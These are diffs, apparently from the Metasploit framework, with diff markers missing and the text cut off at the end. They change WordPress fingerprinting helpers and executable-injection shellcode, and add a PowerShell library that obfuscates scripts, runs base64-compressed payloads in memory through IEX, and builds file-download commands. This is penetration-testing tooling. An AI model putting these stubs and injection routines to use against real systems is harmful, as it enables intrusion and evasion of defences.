if res && res.redirect? && res.redirection && res.redirection.to_s == redirect
cookies = res.get_cookies
# Check if a valid wordpress cookie is returned
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
return cookies if
# current Wordpress
cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
# Wordpress 2.0
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
# Wordpress 2.5
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
end
return nil
nil
end
end

View File

@ -112,7 +112,7 @@ module Msf::HTTP::Wordpress::Posts
count = max_redirects
# Follow redirects
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
while res.redirect? && res.redirection && count != 0
path = wordpress_helper_parse_location_header(res)
return nil unless path

View File

@ -80,4 +80,32 @@ module Msf::HTTP::Wordpress::URIs
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
end
# Returns the Wordpress wp-content dir URL
#
# @return [String] Wordpress wp-content dir URL
def wordpress_url_wp_content
normalize_uri(target_uri.path, wp_content_dir)
end
# Returns the Wordpress plugins dir URL
#
# @return [String] Wordpress plugins dir URL
def wordpress_url_plugins
normalize_uri(wordpress_url_wp_content, 'plugins')
end
# Returns the Wordpress themes dir URL
#
# @return [String] Wordpress themes dir URL
def wordpress_url_themes
normalize_uri(wordpress_url_wp_content, 'themes')
end
# Returns the Wordpress XMLRPC URL
#
# @return [String] Wordpress XMLRPC URL
def wordpress_url_xmlrpc
normalize_uri(target_uri.path, 'xmlrpc.php')
end
end

View File

@ -33,7 +33,7 @@ module Msf::HTTP::Wordpress::Users
'uri' => url
})
if res and res.code == 301
if res and res.redirect?
uri = wordpress_helper_parse_location_header(res)
return nil unless uri
# try to extract username from location

View File

@ -2,63 +2,124 @@
module Msf::HTTP::Wordpress::Version
# Used to check if the version is correct: must contain at least one dot
WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
# Extracts the Wordpress version information from various sources
#
# @return [String,nil] Wordpress version if found, nil otherwise
def wordpress_version
# detect version from generator
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{WORDPRESS_VERSION_PATTERN}" \/>/i)
return version if version
# detect version from readme
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{WORDPRESS_VERSION_PATTERN}/i)
return version if version
# detect version from rss
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}<\/generator>/i)
return version if version
# detect version from rdf
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}" \/>/i)
return version if version
# detect version from atom
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{WORDPRESS_VERSION_PATTERN}">WordPress<\/generator>/i)
return version if version
# detect version from sitemap
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
return version if version
# detect version from opml
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
return version if version
nil
end
private
# Used to check if the version is correct: must contain at least one dot.
# Checks a readme for a vulnerable version
#
# @return [ String ]
def wordpress_version_pattern
'([^\r\n"\']+\.[^\r\n"\']+)'
# @param [String] plugin_name The name of the plugin
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
end
# Checks a readme for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
end
private
def wordpress_version_helper(url, regex)
res = send_request_cgi({
'method' => 'GET',
'uri' => url
})
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
if res
match = res.body.match(regex)
if match
return match[1]
end
return match[1] if match
end
nil
end
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
case type
when :plugin
folder = 'plugins'
when :theme
folder = 'themes'
else
fail("Unknown readme type #{type}")
end
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
# no readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the #{type}")
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
end
end
end

View File

@ -670,6 +670,14 @@ class Core
if(framework.sessions.length > 0 and not forced)
print_status("You have active sessions open, to exit anyway type \"exit -y\"")
return
elsif(driver.confirm_exit and not forced)
print("Are you sure you want to exit Metasploit? [y/N]: ")
response = gets.downcase.chomp
if(response == "y" || response == "yes")
driver.stop
else
return
end
end
driver.stop

View File

@ -1802,7 +1802,7 @@ class Db
# Miscellaneous option helpers
#
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
# Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+
#
# @note This modifies +host_ranges+ in place
#

View File

@ -158,6 +158,9 @@ class Driver < Msf::Ui::Driver
# Whether or not command passthru should be allowed
self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true
# Whether or not to confirm before exiting
self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false
# Disables "dangerous" functionality of the console
@defanged = opts['Defanged'] == true
@ -592,6 +595,10 @@ class Driver < Msf::Ui::Driver
# The framework instance associated with this driver.
#
attr_reader :framework
#
# Whether or not to confirm before exiting
#
attr_reader :confirm_exit
#
# Whether or not commands can be passed through.
#
@ -628,6 +635,7 @@ class Driver < Msf::Ui::Driver
protected
attr_writer :framework # :nodoc:
attr_writer :confirm_exit # :nodoc:
attr_writer :command_passthru # :nodoc:
#

View File

@ -340,22 +340,22 @@ require 'msf/core/exe/segment_injector'
# look for section with entry point
sections_header.each do |sec|
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('L')[0]
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
if (importsTable - addressOfEntryPoint) < code.length
#shift original entry point to prevent tables overwritting
addressOfEntryPoint = importsTable - (code.length + 4)
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('L')
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
end
# put this section writable
characteristics |= 0x8000_0000
newcharacteristics = [characteristics].pack('L')
newcharacteristics = [characteristics].pack('V')
exe[sec[0],newcharacteristics.length] = newcharacteristics
end
end
@ -572,20 +572,20 @@ require 'msf/core/exe/segment_injector'
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\x8D\x85"+[svcmain_code_offset].pack('V')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
[hash_code_offset].pack('V')+pushed_service_name+"\x89\xE1\x8D" +
"\x85"+[svcctrlhandler_code_offset].pack('V')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('V')+"\x57\x51\x68\xAE\x87" +
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
[shellcode_code_offset].pack('<I')+"\x54\x68"+[code.length].pack('<I') +
[shellcode_code_offset].pack('V')+"\x54\x68"+[code.length].pack('V') +
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
@ -654,12 +654,17 @@ require 'msf/core/exe/segment_injector'
msi = fd.read(fd.stat.size)
}
section_size = 2**(msi[30..31].unpack('s')[0])
sector_allocation_table = msi[section_size..section_size*2].unpack('l*')
section_size = 2**(msi[30..31].unpack('v')[0])
# This table is one of the few cases where signed values are needed
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
buffer_chain = []
current_secid = 5 # This is closely coupled with the template provided and ideally
# would be calculated from the dir stream?
# This is closely coupled with the template provided and ideally
# would be calculated from the dir stream?
current_secid = 5
until current_secid == -2
buffer_chain << current_secid
@ -827,8 +832,8 @@ require 'msf/core/exe/segment_injector'
# Check EI_CLASS to determine if the header is 32 or 64 bit
# Use the proper offsets and pack size
case elf[4]
when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9)
case elf[4,1].unpack("C").first
when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)
if big_endian
elf[0x44,4] = [elf.length].pack('N') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz
@ -836,13 +841,13 @@ require 'msf/core/exe/segment_injector'
elf[0x44,4] = [elf.length].pack('V') #p_filesz
elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz
end
when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9)
when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)
if big_endian
elf[0x60,8] = [elf.length].pack('Q>') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz
else # little endian
elf[0x60,8] = [elf.length].pack('Q') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz
elf[0x60,8] = [elf.length].pack('Q<') #p_filesz
elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz
end
else
raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"
@ -1079,17 +1084,18 @@ require 'msf/core/exe/segment_injector'
end
def self.to_win32pe_psh_net(framework, code, opts={})
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_code)
rig.init_var(:var_kernel32)
rig.init_var(:var_baseaddr)
rig.init_var(:var_threadHandle)
rig.init_var(:var_output)
rig.init_var(:var_codeProvider)
rig.init_var(:var_compileParams)
rig.init_var(:var_syscode)
rig.init_var(:var_temp)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")

View File

@ -49,7 +49,7 @@ module Arch
when ARCH_X86
[addr].pack('V')
when ARCH_X86_64
[addr].pack('Q')
[addr].pack('Q<')
when ARCH_MIPS # ambiguous
[addr].pack('N')
when ARCH_MIPSBE

View File

@ -28,7 +28,7 @@ module NDR
# use to encode:
# byte element_1;
def NDR.byte(string)
return [string].pack('c')
return [string].pack('C')
end
# Encode a byte array

View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'rex/exploitation/powershell/output'
require 'rex/exploitation/powershell/parser'
require 'rex/exploitation/powershell/obfu'
require 'rex/exploitation/powershell/param'
require 'rex/exploitation/powershell/function'
require 'rex/exploitation/powershell/script'
require 'rex/exploitation/powershell/psh_methods'
module Rex
module Exploitation
module Powershell
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Exploitation::Powershell::Script.new(script_path)
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0], set[1])
end
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
end
end

View File

@ -0,0 +1,63 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Function
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
attr_accessor :code, :name, :params
include Output
include Parser
include Obfu
def initialize(name, code)
@name = name
@code = code
populate_params
end
#
# To String
#
# @return [String] Powershell function
def to_s
"function #{name} #{code}"
end
#
# Identify the parameters from the code and
# store as Param in @params
#
def populate_params
@params = []
start = code.index(PARAMETER_REGEX)
return unless start
# Get start of our block
idx = scan_with_index('(', code[start..-1]).first.last + start
pclause = block_extract(idx)
matches = pclause.scan(FUNCTION_REGEX)
# Ignore assignment, create params with class and variable names
matches.each do |param|
klass = nil
name = nil
param.each do |value|
if value
if klass
name = value
@params << Param.new(klass, name)
break
else
klass = value
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,98 @@
# -*- coding: binary -*-
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Obfu
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
WHITESPACE_REGEX = Regexp.new(/\s+/)
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
#
# Remove comments
#
# @return [String] code without comments
def strip_comments
# Multi line
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
# Single line
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
code
end
#
# Remove empty lines
#
# @return [String] code without empty lines
def strip_empty_lines
# Windows EOL
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
# UNIX EOL
code.gsub!(UNIX_EOL_REGEX, "\n")
code
end
#
# Remove whitespace
# This can break some codes using inline .NET
#
# @return [String] code with whitespace stripped
def strip_whitespace
code.gsub!(WHITESPACE_REGEX, ' ')
code
end
#
# Identify variables and replace them
#
# @return [String] code with variable names replaced with unique values
def sub_vars
# Get list of variables, remove reserved
get_var_names.each do |var, _sub|
code.gsub!(var, "$#{@rig.init_var(var)}")
end
code
end
#
# Identify function names and replace them
#
# @return [String] code with function names replaced with unique
# values
def sub_funcs
# Find out function names, make map
get_func_names.each do |var, _sub|
code.gsub!(var, @rig.init_var(var))
end
code
end
#
# Perform standard substitutions
#
# @return [String] code with standard substitution methods applied
def standard_subs(subs = %w(strip_comments strip_whitespace sub_funcs sub_vars))
# Save us the trouble of breaking injected .NET and such
subs.delete('strip_whitespace') unless get_string_literals.empty?
# Run selected modifiers
subs.each do |modifier|
send(modifier)
end
code.gsub!(EMPTY_LINE_REGEX, '')
code
end
end # Obfu
end
end
end

View File

@ -0,0 +1,151 @@
# -*- coding: binary -*-
require 'zlib'
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Output
#
# To String
#
# @return [String] Code
def to_s
code
end
#
# Returns code size
#
# @return [Integer] Code size
def size
code.size
end
#
# Return code with numbered lines
#
# @return [String] Powershell code with line numbers
def to_s_lineno
numbered = ''
code.split(/\r\n|\n/).each_with_index do |line, idx|
numbered << "#{idx}: #{line}"
end
numbered
end
#
# Return a zlib compressed powershell code wrapped in decode stub
#
# @param eof [String] End of file identifier to append to code
#
# @return [String] Zlib compressed powershell code wrapped in
# decompression stub
def deflate_code(eof = nil)
# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(code,
::Zlib::BEST_COMPRESSION)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << '$s.ReadByte();'
psh_expression << '$s.ReadByte();'
# Uncompress and invoke the expression (execute)
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.DeflateStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
end
#
# Return Base64 encoded powershell code
#
# @return [String] Base64 encoded powershell code
def encode_code
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
end
#
# Return a gzip compressed powershell code wrapped in decoder stub
#
# @param eof [String] End of file identifier to append to code
#
# @return [String] Gzip compressed powershell code wrapped in
# decompression stub
def gzip_code(eof = nil)
# Compress using the Deflate algorithm
compressed_stream = Rex::Text.gzip(code)
# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Uncompress and invoke the expression (execute)
psh_expression << 'IEX (New-Object IO.StreamReader('
psh_expression << 'New-Object IO.Compression.GzipStream('
psh_expression << '$s,'
psh_expression << '[IO.Compression.CompressionMode]::Decompress)'
psh_expression << ')).ReadToEnd();'
# If eof is set, add a marker to signify end of code output
# if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
psh_expression << "echo '#{eof}';" if eof
@code = psh_expression
end
#
# Compresses script contents with gzip (default) or deflate
#
# @param eof [String] End of file identifier to append to code
# @param gzip [Boolean] Whether to use gzip compression or deflate
#
# @return [String] Compressed code wrapped in decompression stub
def compress_code(eof = nil, gzip = true)
@code = gzip ? gzip_code(eof) : deflate_code(eof)
end
#
# Reverse the compression process
# Try gzip, inflate if that fails
#
# @return [String] Decompressed powershell code
def decompress_code
# Extract substring with payload
encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
# Decode and decompress the string
unencoded = Rex::Text.decode_base64(encoded_stream)
begin
@code = Rex::Text.ungzip(unencoded) || Rex::Text.zlib_inflate(unencoded)
rescue Zlib::GzipFile::Error
begin
@code = Rex::Text.zlib_inflate(unencoded)
rescue Zlib::DataError => e
raise RuntimeError, 'Invalid compression'
end
end
@code
end
end
end
end
end

View File

@ -0,0 +1,23 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Param
attr_accessor :klass, :name
def initialize(klass, name)
@klass = klass.strip
@name = name.strip.gsub(/\s|,/, '')
end
#
# To String
#
# @return [String] Powershell param
def to_s
"[#{klass}]$#{name}"
end
end
end
end
end

View File

@ -0,0 +1,183 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
module Parser
# Reserved special variables
# Acquired with: Get-Variable | Format-Table name, value -auto
RESERVED_VARIABLE_NAMES = [
'$$',
'$?',
'$^',
'$_',
'$args',
'$ConfirmPreference',
'$ConsoleFileName',
'$DebugPreference',
'$Env',
'$Error',
'$ErrorActionPreference',
'$ErrorView',
'$ExecutionContext',
'$false',
'$FormatEnumerationLimit',
'$HOME',
'$Host',
'$input',
'$LASTEXITCODE',
'$MaximumAliasCount',
'$MaximumDriveCount',
'$MaximumErrorCount',
'$MaximumFunctionCount',
'$MaximumHistoryCount',
'$MaximumVariableCount',
'$MyInvocation',
'$NestedPromptLevel',
'$null',
'$OutputEncoding',
'$PID',
'$PROFILE',
'$ProgressPreference',
'$PSBoundParameters',
'$PSCulture',
'$PSEmailServer',
'$PSHOME',
'$PSSessionApplicationName',
'$PSSessionConfigurationName',
'$PSSessionOption',
'$PSUICulture',
'$PSVersionTable',
'$PWD',
'$ReportErrorShowExceptionClass',
'$ReportErrorShowInnerException',
'$ReportErrorShowSource',
'$ReportErrorShowStackTrace',
'$ShellId',
'$StackTrace',
'$true',
'$VerbosePreference',
'$WarningPreference',
'$WhatIfPreference'
].map(&:downcase).freeze
#
# Get variable names from code, removes reserved names from return
#
# @return [Array] variable names
def get_var_names
our_vars = code.scan(/\$[a-zA-Z\-\_0-9]+/).uniq.flatten.map(&:strip)
our_vars.select { |v| !RESERVED_VARIABLE_NAMES.include?(v.downcase) }
end
#
# Get function names from code
#
# @return [Array] function names
def get_func_names
code.scan(/function\s([a-zA-Z\-\_0-9]+)/).uniq.flatten
end
#
# Attempt to find string literals in PSH expression
#
# @return [Array] string literals
def get_string_literals
code.scan(/@"(.+?)"@|@'(.+?)'@/m)
end
#
# Scan code and return matches with index
#
# @param str [String] string to match in code
# @param source [String] source code to match, defaults to @code
#
# @return [Array[String,Integer]] matched items with index
def scan_with_index(str, source = code)
::Enumerator.new do |y|
source.scan(str) do
y << ::Regexp.last_match
end
end.map { |m| [m.to_s, m.offset(0)[0]] }
end
#
# Return matching bracket type
#
# @param char [String] opening bracket character
#
# @return [String] matching closing bracket
def match_start(char)
case char
when '{'
'}'
when '('
')'
when '['
']'
when '<'
'>'
else
fail ArgumentError, 'Unknown starting bracket'
end
end
#
# Extract block of code inside brackets/parenthesis
#
# Attempts to match the bracket at idx, handling nesting manually
# Once the balanced matching bracket is found, all script content
# between idx and the index of the matching bracket is returned
#
# @param idx [Integer] index of opening bracket
#
# @return [String] content between matching brackets
def block_extract(idx)
fail ArgumentError unless idx
if idx < 0 || idx >= code.length
fail ArgumentError, 'Invalid index'
end
start = code[idx]
stop = match_start(start)
delims = scan_with_index(/#{Regexp.escape(start)}|#{Regexp.escape(stop)}/, code[idx + 1..-1])
delims.map { |x| x[1] = x[1] + idx + 1 }
c = 1
sidx = nil
# Go through delims till we balance, get idx
while (c != 0) && (x = delims.shift)
sidx = x[1]
x[0] == stop ? c -= 1 : c += 1
end
code[idx..sidx]
end
#
# Extract a block of function code
#
# @param func_name [String] function name
# @param delete [Boolean] delete the function from the code
#
# @return [String] function block
def get_func(func_name, delete = false)
start = code.index(func_name)
return nil unless start
idx = code[start..-1].index('{') + start
func_txt = block_extract(idx)
if delete
delete_code = code[0..idx]
delete_code << code[(idx + func_txt.length)..-1]
@code = delete_code
end
Function.new(func_name, func_txt)
end
end # Parser
end
end
end

View File

@ -0,0 +1,70 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
##
# Convenience methods for generating powershell code in Ruby
##
module PshMethods
#
# Download file via .NET WebClient
#
# @param src [String] URL to the file
# @param target [String] Location to save the file
#
# @return [String] Powershell code to download a file
def self.download(src, target)
target ||= '$pwd\\' << src.split('/').last
%Q^(new-object System.Net.WebClient).DownloadFile("#{src}", "#{target}")^
end
#
# Uninstall app, or anything named like app
#
# @param app [String] Name of application
# @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to
# the application name
#
# @return [String] Powershell code to uninstall an application
def self.uninstall(app, fuzzy = true)
match = fuzzy ? '-like' : '-eq'
%Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end
#
# Create secure string from plaintext
#
# @param str [String] String to create as a SecureString
#
# @return [String] Powershell code to create a SecureString
def self.secure_string(str)
%Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
end
#
# Find PID of file lock owner
#
# @param filename [String] Filename
#
# @return [String] Powershell code to identify the PID of a file
# lock owner
def self.who_locked_file(filename)
%Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end
#
# Return last time of login
#
# @param user [String] Username
#
# @return [String] Powershell code to return the last time of a user
# login
def self.get_last_login(user)
%Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
end
end
end
end

View File

@ -0,0 +1,99 @@
# -*- coding: binary -*-
require 'rex'
require 'forwardable'
module Rex
module Exploitation
module Powershell
class Script
attr_accessor :code
attr_reader :functions, :rig
include Output
include Parser
include Obfu
# Pretend we are actually a string
extend ::Forwardable
# In case someone messes with String we delegate based on its instance methods
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,
:delete!, :chop, :lines, :replace, :next, :=~, :==, :rstrip!, :%, :upcase!, :each_char,
:hash, :rstrip, :length, :reverse, :setbyte, :bytesize, :squeeze, :>, :center, :[],
:<=, :to_c, :slice!, :chomp!, :next!, :downcase, :unpack, :crypt, :partition,
